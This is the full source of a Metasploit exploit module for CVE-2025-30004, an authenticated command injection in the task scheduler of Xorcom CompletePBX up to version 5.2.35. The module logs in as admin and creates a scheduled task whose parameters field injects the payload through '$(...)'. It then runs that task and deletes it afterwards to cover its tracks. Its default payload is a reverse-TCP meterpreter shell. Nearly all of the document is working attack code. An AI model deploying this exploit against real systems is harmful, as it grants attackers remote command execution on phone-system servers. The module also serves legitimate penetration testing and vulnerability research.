📄 Xorcom CompletePBX Authenticated Command Injection Via Task Scheduler

##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::Remote::HTTP::XorcomCompletePbx
      prepend Msf::Exploit::Remote::AutoCheck
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Xorcom CompletePBX Authenticated Command Injection via Task Scheduler',
            'Description' => %q{
              This module exploits an authenticated command injection vulnerability in Xorcom CompletePBX
              versions <= 5.2.35. The issue resides in the task scheduler functionality, where user-controlled
              input is improperly sanitized, allowing arbitrary command execution with web server privileges.
    
              Only the superadmin user (admin) has the necessary permissions to trigger this exploit.
              Even when creating a new user with maximum privileges, the vulnerability does not work.
            },
            'Author' => [
              'Valentin Lobstein' # Research and module development
            ],
            'License' => MSF_LICENSE,
            'References' => [
              ['CVE', '2025-30004'],
              ['URL', 'https://xorcom.com/new-completepbx-release-5-2-36-1/'],
              ['URL', 'https://chocapikk.com/posts/2025/completepbx/']
            ],
            'Privileged' => false,
            'Platform' => %w[unix linux],
            'Arch' => [ARCH_CMD],
            'Targets' => [
              [
                'Unix/Linux Command Shell',
                {
                  'Platform' => %w[unix linux],
                  'Arch' => ARCH_CMD,
                  'DefaultOptions' => { 'PAYLOAD' => 'cmd/linux/http/x64/meterpreter/reverse_tcp' }
                }
              ]
            ],
            'DefaultTarget' => 0,
            'DisclosureDate' => '2025-03-02',
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [IOC_IN_LOGS]
            }
          )
        )
    
        register_options([
          OptString.new('USERNAME', [true, 'Valid CompletePBX username', 'admin']),
          OptString.new('PASSWORD', [true, 'Valid CompletePBX password']),
        ])
      end
    
      def check
        completepbx?
      end
    
      def get_latest_task_id(sid_cookie, task_desc)
        print_status("Retrieving latest task ID for description: #{task_desc}...")
    
        res = send_request_cgi(
          'uri' => normalize_uri(target_uri.path),
          'method' => 'GET',
          'vars_get' => {
            'class' => 'scheduler',
            'method' => 'tasks',
            'offset' => '0',
            'max' => '20'
          },
          'cookie' => sid_cookie
        )
        fail_with(Failure::Unreachable, 'No response from target while fetching tasks') unless res
    
        json = res.get_json_document
        fail_with(Failure::UnexpectedReply, 'Invalid JSON structure') unless json.is_a?(Hash)
    
        rows = json.fetch('rows', nil)
        fail_with(Failure::UnexpectedReply, 'Missing task list in response') unless rows.is_a?(Array)
    
        row = rows.find { |r| r.is_a?(Array) && r[2].to_s == task_desc }
        fail_with(Failure::NotFound, "Task '#{task_desc}' not found") unless row
    
        task_id = row[0]
        print_good("Found task with ID: #{task_id}")
        task_id
      end
    
      def create_task(sid_cookie)
        task_desc = Faker::Lorem.sentence(word_count: 4)
        notes = Faker::Lorem.paragraph(sentence_count: 3)
        print_status("Creating malicious scheduled task with description: #{task_desc}")
    
        res = send_request_cgi(
          'uri' => normalize_uri(target_uri.path),
          'method' => 'POST',
          'cookie' => sid_cookie,
          'ctype' => 'application/x-www-form-urlencoded',
          'vars_post' => {
            'script' => 'backup',
            'description' => task_desc,
            'starting' => Time.now.strftime('%Y-%m-%d %H:%M'),
            'interval' => '1',
            'interval_unit' => 'month',
            'parameters' => "$(#{payload.encoded})",
            'notes' => notes,
            'data' => '0',
            'class' => 'scheduler',
            'method' => 'save_task',
            'mode' => 'create'
          }
        )
        fail_with(Failure::Unreachable, 'No response from target while creating task') unless res
    
        json_res = res.get_json_document || fail_with(Failure::UnexpectedReply, 'Invalid JSON response')
        state = json_res.fetch('state') { fail_with(Failure::UnexpectedReply, 'Failed to create the malicious task') }
    
        print_good('Malicious task successfully created.') and return task_desc if state == 'success'
    
        fail_with(Failure::UnexpectedReply, 'Failed to create the malicious task')
      end
    
      def run_task(sid_cookie, task_id)
        print_status("Executing malicious task ID #{task_id}...")
    
        res = send_request_cgi({
          'uri' => normalize_uri(target_uri.path),
          'method' => 'POST',
          'cookie' => sid_cookie,
          'ctype' => 'application/x-www-form-urlencoded',
          'vars_post' => {
            'class' => 'scheduler',
            'method' => 'run_task',
            'mode' => 'run',
            'data' => task_id.to_s
          }
        })
    
        unless res
          fail_with(Failure::Unreachable, 'No response from target while executing task')
        end
    
        print_good('Task executed successfully!')
      end
    
      def delete_task(sid_cookie, task_id)
        %w[delete deleteConfirmed].each do |mode|
          print_status("Sending delete request (mode=#{mode}) for task ID #{task_id}...")
    
          send_request_cgi({
            'uri' => normalize_uri(target_uri.path),
            'method' => 'POST',
            'cookie' => sid_cookie,
            'ctype' => 'application/x-www-form-urlencoded',
            'vars_post' => {
              'class' => 'scheduler',
              'method' => 'delete_task',
              'mode' => mode,
              'data' => task_id.to_s
            }
          })
        end
    
        print_good("Task #{task_id} deleted successfully!")
      end
    
      def exploit
        sid_cookie = completepbx_login(datastore['USERNAME'], datastore['PASSWORD'])
        task_desc = create_task(sid_cookie)
        task_id = get_latest_task_id(sid_cookie, task_desc)
        run_task(sid_cookie, task_id)
      ensure
        delete_task(sid_cookie, task_id) if task_id
      end
    end